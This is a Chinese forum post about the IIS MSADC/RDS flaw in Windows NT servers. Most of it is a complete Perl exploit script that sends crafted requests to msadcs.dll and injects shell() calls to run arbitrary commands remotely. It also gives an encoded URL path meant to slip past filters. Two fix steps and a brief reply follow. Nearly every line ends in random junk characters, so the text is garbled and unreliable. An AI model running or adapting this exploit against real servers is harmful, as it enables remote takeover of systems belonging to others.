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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) wS$ 'gKA6  
%2'4h(Oq^  
涉及程序: 1=>b\"P#E  
Microsoft NT server k'F*uS  
\(^]R,~*!b  
描述: VJ&-Z |  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9.~ _swkv  
 0RCp  
详细: Pu!C,7vUQ  
如果你没有时间读详细内容的话,就删除: &Nr+- $  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1p/_U?H:|  
有关的安全问题就没有了。 d"3x11|  
{=!BzNMj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^^uY)AL  
-zt*C&)b  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 %F-yF N"  
关于利用ODBC远程漏洞的描述,请参看: $_HyE%F#  
ZX+0{E8a  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j{t r''yN  
8<6@O  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]$UTMuO Ql  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ??hKsjNAm0  
I&1.}{G>F  
这里不再论述。 X`E}2|q'  
{~\:4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: r|bGn#^  
Ka)aBU9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1csbuR?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! RWDPsZC  
H-m).^  
JNvgUb'U  
#将下面这段保存为txt文件,然后: "perl -x 文件名" B/~ubw  
Gh3f^PWnc  
#!perl $b_~  
# YD~(l-?"  
# MSADC/RDS 'usage' (aka exploit) script &d!ASa  
# >N~jlr|  
# by rain.forest.puppy :q2RgZE  
# 5Ktll~+:#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me - ikq#L){  
# beta test and find errors! :de4Fje/4y  
n34d "l3  
use Socket; use Getopt::Std; ?WS.RBe2  
getopts("e:vd:h:XR", \%args); 3c`  
mxc^IRj  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ay{]Vqi9  
*`bES V :  
if (!defined $args{h} && !defined $args{R}) { \D%n8O  
print qq~ OMjx,@9  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z#;\Rb.x7  
-h <host> = host you want to scan (ip or domain) u VUrg;>  
-d <seconds> = delay between calls, default 1 second 5!6iAS+I  
-X = dump Index Server path table, if available _|{pO7x]oG  
-v = verbose i MS4<`  
-e = external dictionary file for step 5 7{rRQ~s&g9  
sv\=/F@n  
Or a -R will resume a command session $qoal   
Y\(?&7Aax  
~; exit;} `RqV\ 6G+  
0V2~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p+2%LYR u  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]h=y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :`@W`V?6-  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W3MH8z   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} p5nrPL  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } tKi ^0vE8  
<V8=*n"mR  
if (!defined $args{R}){ $ret = &has_msadc; ^h<ElK  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} VhgcvS@V  
s"wz !{G4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =NRiro  
. "cmd /c "; IPY[x|  
$in=<STDIN>; chomp $in; q6 4bP4K  
$command="cmd /c " . $in ; bh5C  
 <j_  
if (defined $args{R}) {&load; exit;} gX5.u9%C\  
# o\&G@e}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; bU4\Yu   
&try_btcustmr; 1eS@ihkP  
fAT M?  
print "\nStep 2: Trying to make our own DSN..."; |'L$ogt6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 'EU|w,GL}  
HhTD/   
print "\nStep 3: Trying known DSNs..."; iSMVV<7  
&known_dsn; B@vup {Kg  
@Y6~;(p  
print "\nStep 4: Trying known .mdbs..."; 'sjks sy.3  
&known_mdb; 3"6-X_  
BQ!_i*14+  
if (defined $args{e}){ A6Wtzt2i  
print "\nStep 5: Trying dictionary of DSN names..."; 4?x$O{D5?{  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } p1\E C#Q  
<2w 41QZX  
print "Sorry Charley...maybe next time?\n"; UzkX;UA  
exit; Hn?v  /3  
xl@  
############################################################################## ~</H>Jd  
<QK2Wc_}-"  
sub sendraw { # ripped and modded from whisker 4e|(= W`  
sleep($delay); # it's a DoS on the server! At least on mine... w 1O)  
my ($pstr)=@_; yjChnp Cc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zhACNz4tJ  
die("Socket problems\n"); m8v=pab e  
if(connect(S,pack "SnA4x8",2,80,$target)){ :\#/T,K"  
select(S); $|=1; 9q<?xO  
print $pstr; my @in=<S>; RLF]Wa,  
select(STDOUT); close(S); p-%m/d?  
return @in; &?SU3@3|  
} else { die("Can't connect...\n"); }} O#b%&s"o  
-$j|&l  
############################################################################## 'A#l$pJp7  
|+Ub3<b[]  
sub make_header { # make the HTTP request #xxs^Kbqa#  
my $msadc=<<EOT |?uUw$oh  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 X>rv{@KbL  
User-Agent: ACTIVEDATA K1fnHpK  
Host: $ip -Wl79lE  
Content-Length: $clen H?'t>JX  
Connection: Keep-Alive U\tujK1  
)u5+<OG}=  
ADCClientVersion:01.06 d-$/C| J  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ->U9u lTC  
:]IY w!_-p  
--!ADM!ROX!YOUR!WORLD! \&X*-T[]j  
Content-Type: application/x-varg E#+|.0*!s  
Content-Length: $reqlen !bIhw}^C*  
?{-y? %y  
EOT %3 $EV}dp  
; $msadc=~s/\n/\r\n/g; :+}Eo9  
return $msadc;} Jg%jmI;Y  
*Q2}Qbu  
############################################################################## Ceak8#|4  
M!b"c4|<  
sub make_req { # make the RDS request =(>pv,  
my ($switch, $p1, $p2)=@_; ;*8,PV0b_<  
my $req=""; my $t1, $t2, $query, $dsn; mA']*)L1  
I>3]VR i  
if ($switch==1){ # this is the btcustmr.mdb query p EbyQ[  
$query="Select * from Customers where City=" . make_shell(); S9S%7pE  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .t|B6n!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} VpmD1YSn  
G>c:+`KS  
elsif ($switch==2){ # this is general make table query ,hXhcfFl  
$query="create table AZZ (B int, C varchar(10))"; i@#fyU)[G  
$dsn="$p1";} $"]*,=-X  
<Yy|.=6 D  
elsif ($switch==3){ # this is general exploit table query yj C@  
$query="select * from AZZ where C=" . make_shell(); :/'oh]T|  
$dsn="$p1";} \#)w$O  
Oi4tG&q  
elsif ($switch==4){ # attempt to hork file info from index server XfH[: XG3  
$query="select path from scope()"; 6.g k6  
$dsn="Provider=MSIDXS;";} *4|]=yPU  
@t?uhT*Z=  
elsif ($switch==5){ # bad query O0 ,=@nw8.  
$query="select"; |4|j5<5  
$dsn="$p1";} `%S#XJU  
%w3"B,k'9D  
$t1= make_unicode($query); Omy<Y@$  
$t2= make_unicode($dsn); )wueR5P  
$req = "\x02\x00\x03\x00"; E(G&mfhb  
$req.= "\x08\x00" . pack ("S1", length($t1)); $fl+l5?9  
$req.= "\x00\x00" . $t1 ;  a EmLf  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,fW%Qv  
$req.= "\x00\x00" . $t2 ; ORP-@-dap  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; lr_c  
return $req;} P+t`Rw  
Ov PTgiI!N  
############################################################################## "s5[w+,R  
,$<="kJk  
sub make_shell { # this makes the shell() statement wW+@3bPl  
return "'|shell(\"$command\")|'";} $ z 5  
eJwHeG  
############################################################################## *3]_Huw<  
vX/("[  
sub make_unicode { # quick little function to convert to unicode b;%>?U`>p  
my ($in)=@_; my $out; :927y  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &pZn cm  
return $out;} RYuR&0_{  
zyi;vu  
############################################################################## w_]`)$9  
p? L*vcU  
sub rdo_success { # checks for RDO return success (this is kludge) k]9v${Ke  
my (@in) = @_; my $base=content_start(@in); .-HwT3  
if($in[$base]=~/multipart\/mixed/){ - HiRXB  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8Xjp5  
return 0;} r`GA5 }M  
7F@#6  
############################################################################## tzV^.QWm  
9B<aYp)  
sub make_dsn { # this makes a DSN for us KoKd.%  
my @drives=("c","d","e","f"); G  Ps//  
print "\nMaking DSN: "; .bvEE  
foreach $drive (@drives) { dcbE<W#ss  
print "$drive: "; &Y3 r'"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . OT{cP3;0*o  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !ZrU@T  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); R7ze~[oF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; J_rb3  
return 0 if $2 eq "404"; # not found/doesn't exist I$HO[Z!  
if($2 eq "200") { ^^Te  
foreach $line (@results) { @K=C`N_22  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} GZWU=TC2{2  
} return 0;} GW;O35 m  
#4BwYj(Sl  
############################################################################## GLtd6;V  
SA[wF c  
sub verify_exists { w9]HJ3qi  
my ($page)=@_; 2U.'5uA"L  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;G|#i? JJ  
return $results[0];} ;Qq<5I"y  
m;@8z[ ^5  
############################################################################## f1,VbuS9I  
BOdd~f%&tn  
sub try_btcustmr { OD;F{Hc  
my @drives=("c","d","e","f"); {DWL 5V#M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [Lal_}m?  
33z^Q`MTC  
foreach $dir (@dirs) { iV2v<ap.n  
print "$dir -> "; # fun status so you can see progress !\Vc#dslt  
foreach $drive (@drives) { &\ $~  
print "$drive: "; # ditto )wyC8`&-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -"uOh,G}  
$reqlenlen=length( "$reqlen" ); *r(Qy0(  
$clen= 206 + $reqlenlen + $reqlen; {U"=}j(  
d`9ofw~3=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z,xGjS P  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} :Fh#"<A&&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l#bE_PD;  
BHNEP |=  
############################################################################## MmQ"z_v  
7 F> a&r  
sub odbc_error { K;j0cxl  
my (@in)=@_; my $base; 45A|KaVpg  
my $base = content_start(@in); uF<}zFS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this x@#aOf4<U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F_-}GN%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Xb2.t^ ]f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7.FD16  
return $in[$base+4].$in[$base+5].$in[$base+6];} _?v&\j  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !q!5D`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . h,|. qfUk  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >["X( %&w  
*b8AN3!  
############################################################################## K(r@JW  
.s-*aoj  
sub verbose { 8/T[dn  
my ($in)=@_; ;u;_\k<qK  
return if !$verbose; 7_ s7 );  
print STDOUT "\n$in\n";} W$xW9u8@+(  
F4PWL|1  
############################################################################## QWwdtk  
)|wC 1J!L  
sub save { {H3B1*Dk  
my ($p1, $p2, $p3, $p4)=@_; i F \H  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `z$=J"%? y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )~-r&Q5d  
close OUT;} O-&^;]ieJ  
z-N N( G+  
############################################################################## >!MRk[@ V-  
46U*70  
sub load { RQYD#4|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; o1R:1!"2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); c2Wp 8l  
@p=<IN>; close(IN); MSE0z !t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {t!Pv 2y<  
$target= inet_aton($ip) || die("inet_aton problems"); S SfNI>  
print "Resuming to $ip ..."; d <RJH  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w@WPp0mny  
if($p[1]==1) { Fv<3VKueK[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _N:GZLG  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; UM2yv6:/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J,:Wv`N:9~  
if (rdo_success(@results)){print "Success!\n";} 4s 6,`-  
else { print "failed\n"; verbose(odbc_error(@results));}} 6TDa#k5v  
elsif ($p[1]==3){ zZ94_8b  
if(run_query("$p[3]")){ K-[;w$np0  
print "Success!\n";} else { print "failed\n"; }} |7QSr!{_  
elsif ($p[1]==4){ CsEU:v  
if(run_query($drvst . "$p[3]")){ a66Ns7Rb  
print "Success!\n"; } else { print "failed\n"; }} (_]D\g~  
exit;} f7/M_sx  
P'^& SK  
############################################################################## MM6PaD{  
tyFsnc k  
sub create_table { 4%#q.qI  
my ($in)=@_; c#-*]6x  
$reqlen=length( make_req(2,$in,"") ) - 28; fJ=v?  
$reqlenlen=length( "$reqlen" ); QXW> }GdKZ  
$clen= 206 + $reqlenlen + $reqlen; qOv`&%txW  
my @results=sendraw(make_header() . make_req(2,$in,"")); Jl<pWjkZZ  
return 1 if rdo_success(@results); P*n/qj8h  
my $temp= odbc_error(@results); verbose($temp); o8Yq3N+  
return 1 if $temp=~/Table 'AZZ' already exists/; k}C4:?AT  
return 0;} WO6R04+WV  
$[ oRbH8g  
############################################################################## Pkv+^[(4  
f>|W d;7l:  
sub known_dsn { + w'q5/`  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go s|I$c;>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", CEAmb[h  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", vNju|=Lo  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9_O6Sl  
Gk xtGe  
foreach $dSn (@dsns) { $]rC-K:Z  
print "."; NQA2usb  
next if (!is_access("DSN=$dSn")); UF$O@l  
if(create_table("DSN=$dSn")){ k"|Fu   
print "$dSn successful\n"; w I;sZJc  
if(run_query("DSN=$dSn")){ qh+&Zx~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EQ.K+d*K][  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P *&Cght>0  
l6zYiM  
############################################################################## 1Tr%lO5?6  
AH-BZ8  
sub is_access { \OXQ%J2v  
my ($in)=@_; ]( FFvqA  
$reqlen=length( make_req(5,$in,"") ) - 28; gVrfZ&XF84  
$reqlenlen=length( "$reqlen" ); !hjF"Pa  
$clen= 206 + $reqlenlen + $reqlen; Ckc5;:b&m  
my @results=sendraw(make_header() . make_req(5,$in,"")); )2Bb,p<Wr  
my $temp= odbc_error(@results); H>o \C  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); O`5hj q#  
return 0;} +cM~|  
h^ K]ASj  
############################################################################## =WHI/|&  
f[ KI T  
sub run_query { ZL:SJ,C  
my ($in)=@_; 6AoKuT;  
$reqlen=length( make_req(3,$in,"") ) - 28; ^$X|Lq  
$reqlenlen=length( "$reqlen" ); {u+=K-Bj  
$clen= 206 + $reqlenlen + $reqlen; [ . }Uzx  
my @results=sendraw(make_header() . make_req(3,$in,"")); j#xGB]  
return 1 if rdo_success(@results); "dT"6,  
my $temp= odbc_error(@results); verbose($temp); 10)RLh|+  
return 0;} $f%om)  
'rTJ*1i  
############################################################################## z{&z  
qzEv!?)a  
sub known_mdb { fz A Fn$[  
my @drives=("c","d","e","f","g"); UB+7]S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Kr[oP3  
my $dir, $drive, $mdb; s4QCun~m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )%PMDG|  
B]vR=F}*  
# this is sparse, because I don't know of many mi.,Z`]o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3@:O1i  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", MkhD*\D /  
"\\system32\\certmdb.mdb", )+DDIq  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% w!z* ?k=Da  
X%iJPJLza  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", K7@|2;e  
"\\cfusion\\cfapps\\forums\\forums_.mdb", JPHM+3v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", evpy%/D  
"\\cfusion\\cfapps\\security\\realm_.mdb", uGF{0 )0g  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t2YB(6w+xg  
"\\cfusion\\database\\cfexamples.mdb", gVe]?Jva`  
"\\cfusion\\database\\cfsnippets.mdb", E-($Xc  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T "hjL  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", wph8ln"C-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;mRZ_^V;  
"\\cfusion\\database\\smpolicy.mdb", oe|8  
"\\cfusion\\database\cypress.mdb", b(CO7/e>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [$pb  
"\\website\\cgi-win\\dbsample.mdb", v~yw-}fk%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", w/"vf3}(9  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \.}ZvM$  
); #these are just %H;}+U]Z  
foreach $drive (@drives) { 8a&c=9  
foreach $dir (@dirs){ `6lOqH  
foreach $mdb (@sysmdbs) { K&RIF]0#G  
print "."; 4HR36=E6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ' Ttsscv  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3l,-n|x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ *8uS,s6g  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ecQ{ePoU  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r d-yqdJ  
g{i= $xc  
foreach $drive (@drives) { 5IOGH*'U8  
foreach $mdb (@mdbs) { Qc)i?Z'6  
print "."; dJ#go*Gn  
if(create_table($drv . $drive . $dir . $mdb)){ /qMnIo  
print "\n" . $drive . $dir . $mdb . " successful\n"; <:NahxIlu  
if(run_query($drv . $drive . $dir . $mdb)){ LnKgT1  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *^Ges;5 $"  
} else { print "Something's borked. Use verbose next time\n"; }}}} 93:oXyFjD  
} x0jaTlU/  
lM}-'8tt?  
############################################################################## nlI3|5  
Z^z{, u;!  
sub hork_idx { ]uMZvAjb  
print "\nAttempting to dump Index Server tables...\n"; 3;VH'hh_  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &M@c50&%  
$reqlen=length( make_req(4,"","") ) - 28; EI7n|X a1q  
$reqlenlen=length( "$reqlen" ); 7}y@VO6]  
$clen= 206 + $reqlenlen + $reqlen; /e[m;+9^&  
my @results=sendraw2(make_header() . make_req(4,"","")); $5.52  
if (rdo_success(@results)){ ]s\vc:cc?  
my $max=@results; my $c; my %d; 4L ]4WVc  
for($c=19; $c<$max; $c++){ P+ CdqOL  
$results[$c]=~s/\x00//g; %OB>FY:|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; /]'&cD 1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [@5cYeW3.  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; WW{_D  
$d{"$1$2"}="";} mXyN{`q=  
foreach $c (keys %d){ print "$c\n"; } 'W4B  
} else {print "Index server doesn't seem to be installed.\n"; }} :aomDK*  
[Z"Z5e`  
############################################################################## ?bt;i>O\  
H#D:'B j29  
sub dsn_dict { IN<nZ?D#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); K-)!d$$   
while(<IN>){ ZJU %&@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; sS;)d  
next if (!is_access("DSN=$dSn")); k}qQG}hB  
if(create_table("DSN=$dSn")){ 1.k=ji$D0  
print "$dSn successful\n"; |9\i+)C  
if(run_query("DSN=$dSn")){ k ,ldi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { G+Z ,i c  
print "Something's borked. Use verbose next time\n";}}} ,Yx<"2 W  
print "\n"; close(IN);} #b;k+<n[X  
mRRZ/m?A(  
############################################################################## E;{CoL  
|h 6!bt!=  
sub sendraw2 { # ripped and modded from whisker vA!IcDP"  
sleep($delay); # it's a DoS on the server! At least on mine... :Ae#+([V  
my ($pstr)=@_; 4'*-[TKC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0)g]pG8&ro  
die("Socket problems\n"); JDZuT#  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^67}&O^1 ,  
print "Connected. Getting data"; @vyEN.K%mm  
open(OUT,">raw.out"); my @in; `|>]P"9yp  
select(S); $|=1; print $pstr; >'W,8F  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} R:&y@/JY8[  
close(OUT); select(STDOUT); close(S); return @in; *EvW: <  
} else { die("Can't connect...\n"); }} )mf|3/o  
l7jen=(Zb;  
############################################################################## tc[Ld#  
H`fJ< So?  
sub content_start { # this will take in the server headers }|2A6^FH.  
my (@in)=@_; my $c; {*F =&D  
for ($c=1;$c<500;$c++) { 9x!kvB6  
if($in[$c] =~/^\x0d\x0a/){ YW6a?f^!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 6q8}8;STTY  
else { return $c+1; }}} AVw oOv J  
return -1;} # it should never get here actually @O'NJh{D`  
<!FcQVH+L  
############################################################################## Qt {){uE  
- K?lhu  
sub funky { au+Jz_$)  
my (@in)=@_; my $error=odbc_error(@in); l$\B>u,>  
if($error=~/ADO could not find the specified provider/){ G.<0^q,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qQ^CSn98J  
exit;} 7r' _p$  
if($error=~/A Handler is required/){ iYvzZ7 8f  
print "\nServer has custom handler filters (they most likely are patched)\n"; anpKW a  
exit;} hvO$ f.i  
if($error=~/specified Handler has denied Access/){ (>A#|N1U  
print "\nServer has custom handler filters (they most likely are patched)\n"; Qd YYWD   
exit;}} jQm~F` z  
+em!TO  
############################################################################## LKcp.i  
)'f=!'X  
sub has_msadc { z-kv{y*Hu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )#i"hnYpQ  
my $base=content_start(@results); %.f%Q?P  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \ [OB.  
return 0;} #z&R9$  
pXlqE,  
######################## S@3`H8 [  
oY0b8=[  
n:wAxU  
解决方案: @OT$* Qh  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll fi>.X99(G  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {ixKc  
Q~ Ad{yC  
拿出来充数 哈哈
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